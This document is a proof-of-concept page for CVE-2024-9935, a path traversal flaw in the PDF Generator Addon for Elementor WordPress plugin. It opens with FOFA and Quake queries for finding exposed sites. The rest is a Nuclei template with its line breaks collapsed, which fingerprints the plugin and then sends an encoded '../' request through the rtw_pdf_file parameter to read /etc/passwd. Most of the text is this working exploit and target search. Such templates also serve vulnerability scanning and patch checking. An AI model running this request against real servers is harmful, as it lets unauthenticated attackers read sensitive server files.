CVE-2024-9935 PoC

fofa: body="wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/"Quake：body:"wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/"

id: CVE-2024-9935info:  name: PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Arbitrary File Download  author: s4e-io  severity: high  description: |    The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.  reference:    - https://github.com/RandomRobbieBF/CVE-2024-9935    - https://plugins.trac.wordpress.org/browser/pdf-generator-addon-for-elementor-page-builder/trunk/public/class-pdf-generator-addon-for-elementor-page-builder-public.php#L133    - https://www.wordfence.com/threat-intel/vulnerabilities/id/36daf2af-1db3-4b35-8849-480212660b2f?source=cve    - https://nvd.nist.gov/vuln/detail/CVE-2024-9935  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N    cvss-score: 7.5    cve-id: CVE-2024-9935    cwe-id: CWE-22    epss-score: 0.0009    epss-percentile: 0.39758  metadata:    verified: true    max-request: 2    vendor: RedefiningTheWeb    product: pdf-generator-addon-for-elementor-page-builder    framework: wordpress    fofa-query: body="wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/"  tags: cve,cve2024,wp,wordpress,wp-plugin,lfi,pdf-generatorflow: http(1) && http(2)http:  - raw:      - |        GET / HTTP/1.1        Host: {{Hostname}}    matchers:      - type: dsl        dsl:          - 'contains(body, "/wp-content/plugins/pdf-generator-addon-for-elementor-page-builder")'        internal: true  - raw:      - |        GET /elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1        Host: {{Hostname}}    matchers:      - type: dsl        dsl:          - regex('root:.*:0:0:', body)          - contains(header, "application/pdf")          - status_code == 200        condition: and